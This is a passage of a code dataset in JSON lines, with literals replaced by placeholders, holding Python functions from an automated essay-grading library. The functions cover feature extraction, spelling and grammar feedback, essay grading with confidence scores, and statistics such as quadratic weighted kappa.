{"signature": "def gen_feats(self, e_set):", "body": "bag_feats = self.gen_bag_feats(e_set)<EOL>length_feats = self.gen_length_feats(e_set)<EOL>prompt_feats = self.gen_prompt_feats(e_set)<EOL>overall_feats = numpy.concatenate((length_feats, prompt_feats, bag_feats), axis=<NUM_LIT:1>)<EOL>overall_feats = overall_feats.copy()<EOL>return overall_feats<EOL>", "docstring": "Generates bag of words, length, and prompt features from an essay set object\nreturns an array of features\ne_set - EssaySet object", "id": "f7965:c0:m6"}
{"signature": "def gen_prompt_feats(self, e_set):", "body": "prompt_toks = nltk.word_tokenize(e_set._prompt)<EOL>expand_syns = []<EOL>for word in prompt_toks:<EOL><INDENT>synonyms = util_functions.get_wordnet_syns(word)<EOL>expand_syns.append(synonyms)<EOL><DEDENT>expand_syns = list(chain.from_iterable(expand_syns))<EOL>prompt_overlap = []<EOL>prompt_overlap_prop = []<EOL>for j in e_set._tokens:<EOL><INDENT>tok_length=len(j)<EOL>if(tok_length==<NUM_LIT:0>):<EOL><INDENT>tok_length=<NUM_LIT:1><EOL><DEDENT>prompt_overlap.append(len([i for i in j if i in prompt_toks]))<EOL>prompt_overlap_prop.append(prompt_overlap[len(prompt_overlap) - <NUM_LIT:1>] / float(tok_length))<EOL><DEDENT>expand_overlap = []<EOL>expand_overlap_prop = []<EOL>for j in e_set._tokens:<EOL><INDENT>tok_length=len(j)<EOL>if(tok_length==<NUM_LIT:0>):<EOL><INDENT>tok_length=<NUM_LIT:1><EOL><DEDENT>expand_overlap.append(len([i for i in j if i in expand_syns]))<EOL>expand_overlap_prop.append(expand_overlap[len(expand_overlap) - <NUM_LIT:1>] / float(tok_length))<EOL><DEDENT>prompt_arr = numpy.array((prompt_overlap, prompt_overlap_prop, expand_overlap, expand_overlap_prop)).transpose()<EOL>return prompt_arr.copy()<EOL>", "docstring": "Generates prompt based features from an essay set object and internal prompt variable.\nGenerally called internally by gen_feats\nReturns an array of prompt features\ne_set - EssaySet object", "id": "f7965:c0:m7"}
{"signature": "def gen_feedback(self, e_set, features=None):", "body": "<EOL>modifier_ratio=<NUM_LIT><EOL>set_grammar,bad_pos_positions=self._get_grammar_errors(e_set._pos,e_set._text,e_set._tokens)<EOL>set_grammar_per_character=[set_grammar[m]/float(len(e_set._text[m])+<NUM_LIT>) for m in xrange(<NUM_LIT:0>,len(e_set._text))]<EOL>set_spell_errors_per_character=[e_set._spelling_errors[m]/float(len(e_set._text[m])+<NUM_LIT>) for m in xrange(<NUM_LIT:0>,len(e_set._text))]<EOL>all_feedback=[]<EOL>for m in xrange(<NUM_LIT:0>,len(e_set._text)):<EOL><INDENT>individual_feedback={'<STR_LIT>' : \"<STR_LIT>\",<EOL>'<STR_LIT>' : \"<STR_LIT>\",<EOL>'<STR_LIT>' : \"<STR_LIT>\",<EOL>'<STR_LIT>' : set_grammar_per_character[m],<EOL>'<STR_LIT>' : set_spell_errors_per_character[m],<EOL>'<STR_LIT>' : False,<EOL>}<EOL>markup_tokens=e_set._markup_text[m].split(\"<STR_LIT:U+0020>\")<EOL>bad_pos_starts=[z[<NUM_LIT:0>] for z in bad_pos_positions[m]]<EOL>bad_pos_ends=[z[<NUM_LIT:1>]-<NUM_LIT:1> for z in bad_pos_positions[m]]<EOL>for z in xrange(<NUM_LIT:0>,len(markup_tokens)):<EOL><INDENT>if z in bad_pos_starts:<EOL><INDENT>markup_tokens[z]='<STR_LIT>' + markup_tokens[z]<EOL><DEDENT>elif z in bad_pos_ends:<EOL><INDENT>markup_tokens[z]=markup_tokens[z] + \"<STR_LIT>\"<EOL><DEDENT><DEDENT>if(len(bad_pos_ends)><NUM_LIT:0> and len(bad_pos_starts)><NUM_LIT:0> and len(markup_tokens)><NUM_LIT:1>):<EOL><INDENT>if max(bad_pos_ends)>(len(markup_tokens)-<NUM_LIT:1>) and max(bad_pos_starts)<(len(markup_tokens)-<NUM_LIT:1>):<EOL><INDENT>markup_tokens[len(markup_tokens)-<NUM_LIT:1>]+=\"<STR_LIT>\"<EOL><DEDENT><DEDENT>if set_grammar_per_character[m]>(self._grammar_errors_per_character*modifier_ratio):<EOL><INDENT>individual_feedback['<STR_LIT>']=\"<STR_LIT>\"<EOL><DEDENT>if set_spell_errors_per_character[m]>(self._spell_errors_per_character*modifier_ratio):<EOL><INDENT>individual_feedback['<STR_LIT>']=\"<STR_LIT>\"<EOL><DEDENT>if features is not None:<EOL><INDENT>f_row_sum=numpy.sum(features[m,<NUM_LIT:12>:])<EOL>f_row_prop=f_row_sum/len(e_set._text[m])<EOL>if f_row_prop<(self._mean_f_prop/<NUM_LIT>) or len(e_set._text[m])<<NUM_LIT:20>:<EOL><INDENT>individual_feedback['<STR_LIT>']=\"<STR_LIT>\"<EOL><DEDENT>if(features[m,<NUM_LIT:9>]><NUM_LIT>):<EOL><INDENT>individual_feedback['<STR_LIT>']=\"<STR_LIT>\"<EOL>individual_feedback['<STR_LIT>']=True<EOL>log.debug(features[m,<NUM_LIT:9>])<EOL><DEDENT><DEDENT>markup_string=\"<STR_LIT:U+0020>\".join(markup_tokens)<EOL>individual_feedback['<STR_LIT>']=markup_string<EOL>all_feedback.append(individual_feedback)<EOL><DEDENT>return all_feedback<EOL>", "docstring": "Generate feedback for a given set of essays\ne_set - EssaySet object\nfeatures - optionally, pass in a matrix of features extracted from e_set using FeatureExtractor\nin order to get off topic feedback.\nReturns a list of lists (one list per essay in e_set)\ne_set - EssaySet object", "id": "f7965:c0:m8"}
{"signature": "def __init__(self, essaytype=\"<STR_LIT:train>\"):", "body": "if(essaytype != \"<STR_LIT:train>\" and essaytype != \"<STR_LIT:test>\"):<EOL><INDENT>essaytype = \"<STR_LIT:train>\"<EOL><DEDENT>self._type = essaytype<EOL>self._score = []<EOL>self._text = []<EOL>self._id = []<EOL>self._clean_text = []<EOL>self._tokens = []<EOL>self._pos = []<EOL>self._clean_stem_text = []<EOL>self._generated = []<EOL>self._prompt = \"<STR_LIT>\"<EOL>self._spelling_errors = []<EOL>self._markup_text = []<EOL>", "docstring": "Initialize variables and check essay set type", "id": "f7966:c0:m0"}
{"signature": "def add_essay(self, essay_text, essay_score, essay_generated=<NUM_LIT:0>):", "body": "<EOL>if(len(self._id) > <NUM_LIT:0>):<EOL><INDENT>max_id = max(self._id)<EOL><DEDENT>else:<EOL><INDENT>max_id = <NUM_LIT:0><EOL><DEDENT>try:<EOL><INDENT>essay_text = essay_text.encode('<STR_LIT:ascii>', '<STR_LIT:ignore>')<EOL>if len(essay_text) < <NUM_LIT:5>:<EOL><INDENT>essay_text = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>except:<EOL><INDENT>log.exception(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>essay_score = int(essay_score)<EOL>essay_text = str(essay_text)<EOL><DEDENT>except:<EOL><INDENT>log.exception(\"<STR_LIT>\".format(type(essay_score), type(essay_text)))<EOL><DEDENT>if isinstance(essay_score, int) and isinstance(essay_text, basestring)and (essay_generated == <NUM_LIT:0> or essay_generated == <NUM_LIT:1>):<EOL><INDENT>self._id.append(max_id + <NUM_LIT:1>)<EOL>self._score.append(essay_score)<EOL>try:<EOL><INDENT>essay_text = str(essay_text.encode('<STR_LIT:ascii>', '<STR_LIT:ignore>'))<EOL><DEDENT>except:<EOL><INDENT>essay_text = (essay_text.decode('<STR_LIT:utf-8>', '<STR_LIT:replace>')).encode('<STR_LIT:ascii>', '<STR_LIT:ignore>')<EOL><DEDENT>cleaned_essay = util_functions.sub_chars(essay_text).lower()<EOL>if(len(cleaned_essay) > MAXIMUM_ESSAY_LENGTH):<EOL><INDENT>cleaned_essay = cleaned_essay[<NUM_LIT:0>:MAXIMUM_ESSAY_LENGTH]<EOL><DEDENT>self._text.append(cleaned_essay)<EOL>cleaned_text, spell_errors, markup_text = util_functions.spell_correct(self._text[len(self._text) - <NUM_LIT:1>])<EOL>self._clean_text.append(cleaned_text)<EOL>self._spelling_errors.append(spell_errors)<EOL>self._markup_text.append(markup_text)<EOL>self._tokens.append(nltk.word_tokenize(self._clean_text[len(self._clean_text) - <NUM_LIT:1>]))<EOL>self._pos.append(nltk.pos_tag(self._clean_text[len(self._clean_text) - <NUM_LIT:1>].split(\"<STR_LIT:U+0020>\")))<EOL>self._generated.append(essay_generated)<EOL>porter = nltk.PorterStemmer()<EOL>por_toks = \"<STR_LIT:U+0020>\".join([porter.stem(w) for w in self._tokens[len(self._tokens) - <NUM_LIT:1>]])<EOL>self._clean_stem_text.append(por_toks)<EOL>ret = \"<STR_LIT>\" + self._text[len(self._text) - <NUM_LIT:1>] + \"<STR_LIT>\" + str(essay_score)<EOL><DEDENT>else:<EOL><INDENT>raise util_functions.InputError(essay_text, \"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Add new (essay_text,essay_score) pair to the essay set.\nessay_text must be a string.\nessay_score must be an int.\nessay_generated should not be changed by the user.\nReturns a confirmation that essay was added.", "id": "f7966:c0:m1"}
{"signature": "def update_prompt(self, prompt_text):", "body": "if(isinstance(prompt_text, basestring)):<EOL><INDENT>self._prompt = util_functions.sub_chars(prompt_text)<EOL>ret = self._prompt<EOL><DEDENT>else:<EOL><INDENT>raise util_functions.InputError(prompt_text, \"<STR_LIT>\")<EOL><DEDENT>return ret<EOL>", "docstring": "Update the default prompt string, which is \"\".\nprompt_text should be a string.\nReturns the prompt as a confirmation.", "id": "f7966:c0:m2"}
{"signature": "def generate_additional_essays(self, e_text, e_score, dictionary=None, max_syns=<NUM_LIT:3>):", "body": "e_toks = nltk.word_tokenize(e_text)<EOL>all_syns = []<EOL>for word in e_toks:<EOL><INDENT>synonyms = util_functions.get_wordnet_syns(word)<EOL>if(len(synonyms) > max_syns):<EOL><INDENT>synonyms = random.sample(synonyms, max_syns)<EOL><DEDENT>all_syns.append(synonyms)<EOL><DEDENT>new_essays = []<EOL>for i in range(<NUM_LIT:0>, max_syns):<EOL><INDENT>syn_toks = e_toks<EOL>for z in range(<NUM_LIT:0>, len(e_toks)):<EOL><INDENT>if len(all_syns[z]) > i and (dictionary == None or e_toks[z] in dictionary):<EOL><INDENT>syn_toks[z] = all_syns[z][i]<EOL><DEDENT><DEDENT>new_essays.append(\"<STR_LIT:U+0020>\".join(syn_toks))<EOL><DEDENT>for z in xrange(<NUM_LIT:0>, len(new_essays)):<EOL><INDENT>self.add_essay(new_essays[z], e_score, <NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Substitute synonyms to generate extra essays from existing ones.\nThis is done to increase the amount of training data.\nShould only be used with lowest scoring essays.\ne_text is the text of the original essay.\ne_score is the score of the original essay.\ndictionary is a fixed dictionary (list) of words to replace.\nmax_syns defines the maximum number of additional essays to generate.  Do not set too high.", "id": "f7966:c0:m3"}
{"signature": "def grade(grader_data,submission):", "body": "<EOL>results = {'<STR_LIT>': [],'<STR_LIT>': [],'<STR_LIT>': <NUM_LIT:0>, '<STR_LIT>' : \"<STR_LIT>\", '<STR_LIT:success>' : False, '<STR_LIT>' : <NUM_LIT:0>}<EOL>has_error=False<EOL>grader_set=EssaySet(essaytype=\"<STR_LIT:test>\")<EOL>feedback = {}<EOL>model, extractor = get_classifier_and_ext(grader_data)<EOL>if '<STR_LIT>' not in grader_data:<EOL><INDENT>grader_data['<STR_LIT>'] = util_functions.AlgorithmTypes.classification<EOL><DEDENT>try:<EOL><INDENT>grader_set.add_essay(str(submission),<NUM_LIT:0>)<EOL>grader_set.update_prompt(str(grader_data['<STR_LIT>']))<EOL><DEDENT>except Exception:<EOL><INDENT>error_message = \"<STR_LIT>\".format(submission)<EOL>log.exception(error_message)<EOL>results['<STR_LIT>'].append(error_message)<EOL>has_error=True<EOL><DEDENT>try:<EOL><INDENT>grader_feats=extractor.gen_feats(grader_set)<EOL>feedback=extractor.gen_feedback(grader_set,grader_feats)[<NUM_LIT:0>]<EOL>results['<STR_LIT>']=int(model.predict(grader_feats)[<NUM_LIT:0>])<EOL><DEDENT>except Exception:<EOL><INDENT>error_message = \"<STR_LIT>\"<EOL>log.exception(error_message)<EOL>results['<STR_LIT>'].append(error_message)<EOL>has_error=True<EOL><DEDENT>try:<EOL><INDENT>results['<STR_LIT>'] = get_confidence_value(grader_data['<STR_LIT>'], model, grader_feats, results['<STR_LIT>'], grader_data['<STR_LIT>'])<EOL><DEDENT>except Exception:<EOL><INDENT>log.exception(\"<STR_LIT>\")<EOL><DEDENT>if not has_error:<EOL><INDENT>if( '<STR_LIT>' in feedback and feedback['<STR_LIT>']):<EOL><INDENT>results['<STR_LIT>']=<NUM_LIT:0><EOL>results['<STR_LIT>']=False<EOL><DEDENT>results['<STR_LIT:success>']=True<EOL>results['<STR_LIT>'] = {}<EOL>if '<STR_LIT>' in feedback and '<STR_LIT>' in feedback:<EOL><INDENT>results['<STR_LIT>'].update({<EOL>'<STR_LIT>' : feedback['<STR_LIT>'],<EOL>'<STR_LIT>' : feedback['<STR_LIT>'],<EOL>})<EOL><DEDENT>results['<STR_LIT>'].update(<EOL>{<EOL>'<STR_LIT>' : feedback['<STR_LIT>'],<EOL>'<STR_LIT>' : feedback['<STR_LIT>'],<EOL>'<STR_LIT>' : feedback['<STR_LIT>'],<EOL>}<EOL>)<EOL><DEDENT>else:<EOL><INDENT>results['<STR_LIT:success>']=False<EOL><DEDENT>return results<EOL>", "docstring": "Grades a specified submission using specified models\ngrader_data - A dictionary:\n{\n    'model' : trained model,\n    'extractor' : trained feature extractor,\n    'prompt' : prompt for the question,\n    'algorithm' : algorithm for the question,\n}\nsubmission - The student submission (string)", "id": "f7967:m0"}
{"signature": "def grade_generic(grader_data, numeric_features, textual_features):", "body": "results = {'<STR_LIT>': [],'<STR_LIT>': [],'<STR_LIT>': <NUM_LIT:0>, '<STR_LIT:success>' : False, '<STR_LIT>' : <NUM_LIT:0>}<EOL>has_error=False<EOL>grader_set=predictor_set.PredictorSet(essaytype=\"<STR_LIT:test>\")<EOL>model, extractor = get_classifier_and_ext(grader_data)<EOL>try:<EOL><INDENT>grader_set.add_row(numeric_features, textual_features,<NUM_LIT:0>)<EOL><DEDENT>except Exception:<EOL><INDENT>error_msg = \"<STR_LIT>\".format(numeric_features, textual_features)<EOL>log.exception(error_msg)<EOL>results['<STR_LIT>'].append(error_msg)<EOL>has_error=True<EOL><DEDENT>try:<EOL><INDENT>grader_feats=extractor.gen_feats(grader_set)<EOL>results['<STR_LIT>']=model.predict(grader_feats)[<NUM_LIT:0>]<EOL><DEDENT>except Exception:<EOL><INDENT>error_msg = \"<STR_LIT>\"<EOL>log.exception(error_msg)<EOL>results['<STR_LIT>'].append(error_msg)<EOL>has_error=True<EOL><DEDENT>try:<EOL><INDENT>results['<STR_LIT>'] = get_confidence_value(grader_data['<STR_LIT>'],model, grader_feats, results['<STR_LIT>'])<EOL><DEDENT>except Exception:<EOL><INDENT>log.exception(\"<STR_LIT>\")<EOL><DEDENT>if not has_error:<EOL><INDENT>results['<STR_LIT:success>'] = True<EOL><DEDENT>return results<EOL>", "docstring": "Grades a set of numeric and textual features using a generic model\ngrader_data -- dictionary containing:\n{\n    'algorithm' - Type of algorithm to use to score\n}\nnumeric_features - list of numeric features to predict on\ntextual_features - list of textual feature to predict on", "id": "f7967:m1"}
{"signature": "def get_confidence_value(algorithm,model,grader_feats,score, scores):", "body": "min_score=min(numpy.asarray(scores))<EOL>max_score=max(numpy.asarray(scores))<EOL>if algorithm == util_functions.AlgorithmTypes.classification and hasattr(model, \"<STR_LIT>\"):<EOL><INDENT>raw_confidence=model.predict_proba(grader_feats)[<NUM_LIT:0>,(float(score)-float(min_score))]<EOL>confidence=raw_confidence<EOL><DEDENT>elif hasattr(model, \"<STR_LIT>\"):<EOL><INDENT>raw_confidence = model.predict(grader_feats)[<NUM_LIT:0>]<EOL>confidence = max(float(raw_confidence) - math.floor(float(raw_confidence)), math.ceil(float(raw_confidence)) - float(raw_confidence))<EOL><DEDENT>else:<EOL><INDENT>confidence = <NUM_LIT:0><EOL><DEDENT>return confidence<EOL>", "docstring": "Determines a confidence in a certain score, given proper input parameters\nalgorithm- from util_functions.AlgorithmTypes\nmodel - a trained model\ngrader_feats - a row of features used by the model for classification/regression\nscore - The score assigned to the submission by a prior model", "id": "f7967:m2"}
{"signature": "def create_model_path(model_path):", "body": "if not model_path.startswith(\"<STR_LIT:/>\") and not model_path.startswith(\"<STR_LIT>\"):<EOL><INDENT>model_path=\"<STR_LIT:/>\" + model_path<EOL><DEDENT>if not model_path.startswith(\"<STR_LIT>\"):<EOL><INDENT>model_path = \"<STR_LIT>\" + model_path<EOL><DEDENT>if not model_path.endswith(\"<STR_LIT>\"):<EOL><INDENT>model_path+=\"<STR_LIT>\"<EOL><DEDENT>return model_path<EOL>", "docstring": "Creates a path to model files\nmodel_path - string", "id": "f7968:m0"}
{"signature": "def sub_chars(string):", "body": "<EOL>sub_pat = r\"<STR_LIT>\"<EOL>char_pat = r\"<STR_LIT>\"<EOL>com_pat = r\"<STR_LIT:U+002C>\"<EOL>ques_pat = r\"<STR_LIT>\"<EOL>excl_pat = r\"<STR_LIT:!>\"<EOL>sem_pat = r\"<STR_LIT:;>\"<EOL>col_pat = r\"<STR_LIT::>\"<EOL>whitespace_pat = r\"<STR_LIT>\"<EOL>nstring = re.sub(sub_pat, \"<STR_LIT:U+0020>\", string)<EOL>nstring = re.sub(char_pat,\"<STR_LIT>\", nstring)<EOL>nstring = re.sub(com_pat, \"<STR_LIT>\", nstring)<EOL>nstring = re.sub(ques_pat, \"<STR_LIT>\", nstring)<EOL>nstring = re.sub(excl_pat, \"<STR_LIT>\", nstring)<EOL>nstring = re.sub(sem_pat, \"<STR_LIT>\", nstring)<EOL>nstring = re.sub(col_pat, \"<STR_LIT>\", nstring)<EOL>nstring = re.sub(whitespace_pat, \"<STR_LIT:U+0020>\", nstring)<EOL>return nstring<EOL>", "docstring": "Strips illegal characters from a string.  Used to sanitize input essays.\nRemoves all non-punctuation, digit, or letter characters.\nReturns sanitized string.\nstring - string", "id": "f7968:m1"}
{"signature": "def spell_correct(string):", "body": "<EOL>f = tempfile.NamedTemporaryFile(mode='<STR_LIT:w>')<EOL>f.write(string)<EOL>f.flush()<EOL>f_path = os.path.abspath(f.name)<EOL>try:<EOL><INDENT>p = os.popen(aspell_path + \"<STR_LIT>\" + f_path + \"<STR_LIT>\")<EOL>incorrect = p.readlines()<EOL>p.close()<EOL><DEDENT>except Exception:<EOL><INDENT>log.exception(\"<STR_LIT>\")<EOL>return string,<NUM_LIT:0>, string<EOL><DEDENT>finally:<EOL><INDENT>f.close()<EOL><DEDENT>incorrect_words = list()<EOL>correct_spelling = list()<EOL>for i in range(<NUM_LIT:1>, len(incorrect)):<EOL><INDENT>if(len(incorrect[i]) > <NUM_LIT:10>):<EOL><INDENT>match = re.search(\"<STR_LIT::>\", incorrect[i])<EOL>if hasattr(match, \"<STR_LIT:start>\"):<EOL><INDENT>begstring = incorrect[i][<NUM_LIT:2>:match.start()]<EOL>begmatch = re.search(\"<STR_LIT:U+0020>\", begstring)<EOL>begword = begstring[<NUM_LIT:0>:begmatch.start()]<EOL>sugstring = incorrect[i][match.start() + <NUM_LIT:2>:]<EOL>sugmatch = re.search(\"<STR_LIT:U+002C>\", sugstring)<EOL>if hasattr(sugmatch, \"<STR_LIT:start>\"):<EOL><INDENT>sug = sugstring[<NUM_LIT:0>:sugmatch.start()]<EOL>incorrect_words.append(begword)<EOL>correct_spelling.append(sug)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>newstring = string<EOL>markup_string = string<EOL>already_subbed=[]<EOL>for i in range(<NUM_LIT:0>, len(incorrect_words)):<EOL><INDENT>sub_pat = r\"<STR_LIT>\" + incorrect_words[i] + r\"<STR_LIT>\"<EOL>sub_comp = re.compile(sub_pat)<EOL>newstring = re.sub(sub_comp, correct_spelling[i], newstring)<EOL>if incorrect_words[i] not in already_subbed:<EOL><INDENT>markup_string=re.sub(sub_comp,'<STR_LIT>' + incorrect_words[i] + \"<STR_LIT>\", markup_string)<EOL>already_subbed.append(incorrect_words[i])<EOL><DEDENT><DEDENT>return newstring,len(incorrect_words),markup_string<EOL>", "docstring": "Uses aspell to spell correct an input string.\nRequires aspell to be installed and added to the path.\nReturns the spell corrected string if aspell is found, original string if not.\nstring - string", "id": "f7968:m2"}
{"signature": "def ngrams(tokens, min_n, max_n):", "body": "all_ngrams = list()<EOL>n_tokens = len(tokens)<EOL>for i in xrange(n_tokens):<EOL><INDENT>for j in xrange(i + min_n, min(n_tokens, i + max_n) + <NUM_LIT:1>):<EOL><INDENT>all_ngrams.append(\"<STR_LIT:U+0020>\".join(tokens[i:j]))<EOL><DEDENT><DEDENT>return all_ngrams<EOL>", "docstring": "Generates ngrams(word sequences of fixed length) from an input token sequence.\ntokens is a list of words.\nmin_n is the minimum length of an ngram to return.\nmax_n is the maximum length of an ngram to return.\nreturns a list of ngrams (words separated by a space)", "id": "f7968:m3"}
{"signature": "def f7(seq):", "body": "seen = set()<EOL>seen_add = seen.add<EOL>return [x for x in seq if x not in seen and not seen_add(x)]<EOL>", "docstring": "Makes a list unique", "id": "f7968:m4"}
{"signature": "def count_list(the_list):", "body": "count = the_list.count<EOL>result = [(item, count(item)) for item in set(the_list)]<EOL>result.sort()<EOL>return result<EOL>", "docstring": "Generates a count of the number of times each unique item appears in a list", "id": "f7968:m5"}
{"signature": "def regenerate_good_tokens(string):", "body": "toks = nltk.word_tokenize(string)<EOL>pos_string = nltk.pos_tag(toks)<EOL>pos_seq = [tag[<NUM_LIT:1>] for tag in pos_string]<EOL>pos_ngrams = ngrams(pos_seq, <NUM_LIT:2>, <NUM_LIT:4>)<EOL>sel_pos_ngrams = f7(pos_ngrams)<EOL>return sel_pos_ngrams<EOL>", "docstring": "Given an input string, part of speech tags the string, then generates a list of\nngrams that appear in the string.\nUsed to define grammatically correct part of speech tag sequences.\nReturns a list of part of speech tag sequences.", "id": "f7968:m6"}
{"signature": "def get_vocab(text, score, max_feats=<NUM_LIT>, max_feats2=<NUM_LIT:200>):", "body": "dict = CountVectorizer(ngram_range=(<NUM_LIT:1>,<NUM_LIT:2>), max_features=max_feats)<EOL>dict_mat = dict.fit_transform(text)<EOL>set_score = numpy.asarray(score, dtype=numpy.int)<EOL>med_score = numpy.median(set_score)<EOL>new_score = set_score<EOL>if(med_score == <NUM_LIT:0>):<EOL><INDENT>med_score = <NUM_LIT:1><EOL><DEDENT>new_score[set_score < med_score] = <NUM_LIT:0><EOL>new_score[set_score >= med_score] = <NUM_LIT:1><EOL>fish_vals = []<EOL>for col_num in range(<NUM_LIT:0>, dict_mat.shape[<NUM_LIT:1>]):<EOL><INDENT>loop_vec = dict_mat.getcol(col_num).toarray()<EOL>good_loop_vec = loop_vec[new_score == <NUM_LIT:1>]<EOL>bad_loop_vec = loop_vec[new_score == <NUM_LIT:0>]<EOL>good_loop_present = len(good_loop_vec[good_loop_vec > <NUM_LIT:0>])<EOL>good_loop_missing = len(good_loop_vec[good_loop_vec == <NUM_LIT:0>])<EOL>bad_loop_present = len(bad_loop_vec[bad_loop_vec > <NUM_LIT:0>])<EOL>bad_loop_missing = len(bad_loop_vec[bad_loop_vec == <NUM_LIT:0>])<EOL>fish_val = pvalue(good_loop_present, bad_loop_present, good_loop_missing, bad_loop_missing).two_tail<EOL>fish_vals.append(fish_val)<EOL><DEDENT>cutoff = <NUM_LIT:1><EOL>if(len(fish_vals) > max_feats2):<EOL><INDENT>cutoff = sorted(fish_vals)[max_feats2]<EOL><DEDENT>good_cols = numpy.asarray([num for num in range(<NUM_LIT:0>, dict_mat.shape[<NUM_LIT:1>]) if fish_vals[num] <= cutoff])<EOL>getVar = lambda searchList, ind: [searchList[i] for i in ind]<EOL>vocab = getVar(dict.get_feature_names(), good_cols)<EOL>return vocab<EOL>", "docstring": "Uses a fisher test to find words that are significant in that they separate\nhigh scoring essays from low scoring essays.\ntext is a list of input essays.\nscore is a list of scores, with score[n] corresponding to text[n]\nmax_feats is the maximum number of features to consider in the first pass\nmax_feats2 is the maximum number of features to consider in the second (final) pass\nReturns a list of words that constitute the significant vocabulary", "id": "f7968:m7"}
{"signature": "def edit_distance(s1, s2):", "body": "d = {}<EOL>lenstr1 = len(s1)<EOL>lenstr2 = len(s2)<EOL>for i in xrange(-<NUM_LIT:1>, lenstr1 + <NUM_LIT:1>):<EOL><INDENT>d[(i, -<NUM_LIT:1>)] = i + <NUM_LIT:1><EOL><DEDENT>for j in xrange(-<NUM_LIT:1>, lenstr2 + <NUM_LIT:1>):<EOL><INDENT>d[(-<NUM_LIT:1>, j)] = j + <NUM_LIT:1><EOL><DEDENT>for i in xrange(lenstr1):<EOL><INDENT>for j in xrange(lenstr2):<EOL><INDENT>if s1[i] == s2[j]:<EOL><INDENT>cost = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>cost = <NUM_LIT:1><EOL><DEDENT>d[(i, j)] = min(<EOL>d[(i - <NUM_LIT:1>, j)] + <NUM_LIT:1>, <EOL>d[(i, j - <NUM_LIT:1>)] + <NUM_LIT:1>, <EOL>d[(i - <NUM_LIT:1>, j - <NUM_LIT:1>)] + cost, <EOL>)<EOL>if i and j and s1[i] == s2[j - <NUM_LIT:1>] and s1[i - <NUM_LIT:1>] == s2[j]:<EOL><INDENT>d[(i, j)] = min(d[(i, j)], d[i - <NUM_LIT:2>, j - <NUM_LIT:2>] + cost) <EOL><DEDENT><DEDENT><DEDENT>return d[lenstr1 - <NUM_LIT:1>, lenstr2 - <NUM_LIT:1>]<EOL>", "docstring": "Calculates string edit distance between string 1 and string 2.\nDeletion, insertion, substitution, and transposition all increase edit distance.", "id": "f7968:m8"}
{"signature": "def gen_cv_preds(clf, arr, sel_score, num_chunks=<NUM_LIT:3>):", "body": "cv_len = int(math.floor(len(sel_score) / num_chunks))<EOL>chunks = []<EOL>for i in range(<NUM_LIT:0>, num_chunks):<EOL><INDENT>range_min = i * cv_len<EOL>range_max = ((i + <NUM_LIT:1>) * cv_len)<EOL>if i == num_chunks - <NUM_LIT:1>:<EOL><INDENT>range_max = len(sel_score)<EOL><DEDENT>chunks.append(range(range_min, range_max))<EOL><DEDENT>preds = []<EOL>set_score = numpy.asarray(sel_score, dtype=numpy.int)<EOL>chunk_vec = numpy.asarray(range(<NUM_LIT:0>, len(chunks)))<EOL>for i in xrange(<NUM_LIT:0>, len(chunks)):<EOL><INDENT>loop_inds = list(<EOL>chain.from_iterable([chunks[int(z)] for z, m in enumerate(range(<NUM_LIT:0>, len(chunks))) if int(z) != i]))<EOL>sim_fit = clf.fit(arr[loop_inds], set_score[loop_inds])<EOL>preds.append(list(sim_fit.predict(arr[chunks[i]])))<EOL><DEDENT>all_preds = list(chain(*preds))<EOL>return(all_preds)<EOL>", "docstring": "Generates cross validated predictions using an input classifier and data.\nclf is a classifier that implements that implements the fit and predict methods.\narr is the input data array (X)\nsel_score is the target list (y).  y[n] corresponds to X[n,:]\nnum_chunks is the number of cross validation folds to use\nReturns an array of the predictions where prediction[n] corresponds to X[n,:]", "id": "f7968:m9"}
{"signature": "def gen_model(clf, arr, sel_score):", "body": "set_score = numpy.asarray(sel_score, dtype=numpy.int)<EOL>sim_fit = clf.fit(arr, set_score)<EOL>return(sim_fit)<EOL>", "docstring": "Fits a classifier to data and a target score\nclf is an input classifier that implements the fit method.\narr is a data array(X)\nsel_score is the target list (y) where y[n] corresponds to X[n,:]\nsim_fit is not a useful return value.  Instead the clf is the useful output.", "id": "f7968:m10"}
{"signature": "def gen_preds(clf, arr):", "body": "if(hasattr(clf, \"<STR_LIT>\")):<EOL><INDENT>ret = clf.predict(arr)<EOL><DEDENT>else:<EOL><INDENT>ret = clf.predict(arr)<EOL><DEDENT>return ret<EOL>", "docstring": "Generates predictions on a novel data array using a fit classifier\nclf is a classifier that has already been fit\narr is a data array identical in dimension to the array clf was trained on\nReturns the array of predictions.", "id": "f7968:m11"}
{"signature": "def calc_list_average(l):", "body": "total = <NUM_LIT:0.0><EOL>for value in l:<EOL><INDENT>total += value<EOL><DEDENT>return total / len(l)<EOL>", "docstring": "Calculates the average value of a list of numbers\nReturns a float", "id": "f7968:m12"}
{"signature": "def quadratic_weighted_kappa(rater_a, rater_b, min_rating=None, max_rating=None):", "body": "assert(len(rater_a) == len(rater_b))<EOL>rater_a = [int(a) for a in rater_a]<EOL>rater_b = [int(b) for b in rater_b]<EOL>if min_rating is None:<EOL><INDENT>min_rating = min(rater_a + rater_b)<EOL><DEDENT>if max_rating is None:<EOL><INDENT>max_rating = max(rater_a + rater_b)<EOL><DEDENT>conf_mat = confusion_matrix(rater_a, rater_b,<EOL>min_rating, max_rating)<EOL>num_ratings = len(conf_mat)<EOL>num_scored_items = float(len(rater_a))<EOL>hist_rater_a = histogram(rater_a, min_rating, max_rating)<EOL>hist_rater_b = histogram(rater_b, min_rating, max_rating)<EOL>numerator = <NUM_LIT:0.0><EOL>denominator = <NUM_LIT:0.0><EOL>if(num_ratings > <NUM_LIT:1>):<EOL><INDENT>for i in range(num_ratings):<EOL><INDENT>for j in range(num_ratings):<EOL><INDENT>expected_count = (hist_rater_a[i] * hist_rater_b[j]<EOL>/ num_scored_items)<EOL>d = pow(i - j, <NUM_LIT>) / pow(num_ratings - <NUM_LIT:1>, <NUM_LIT>)<EOL>numerator += d * conf_mat[i][j] / num_scored_items<EOL>denominator += d * expected_count / num_scored_items<EOL><DEDENT><DEDENT>return <NUM_LIT:1.0> - numerator / denominator<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>", "docstring": "Calculates kappa correlation between rater_a and rater_b.\nKappa measures how well 2 quantities vary together.\nrater_a is a list of rater a scores\nrater_b is a list of rater b scores\nmin_rating is an optional 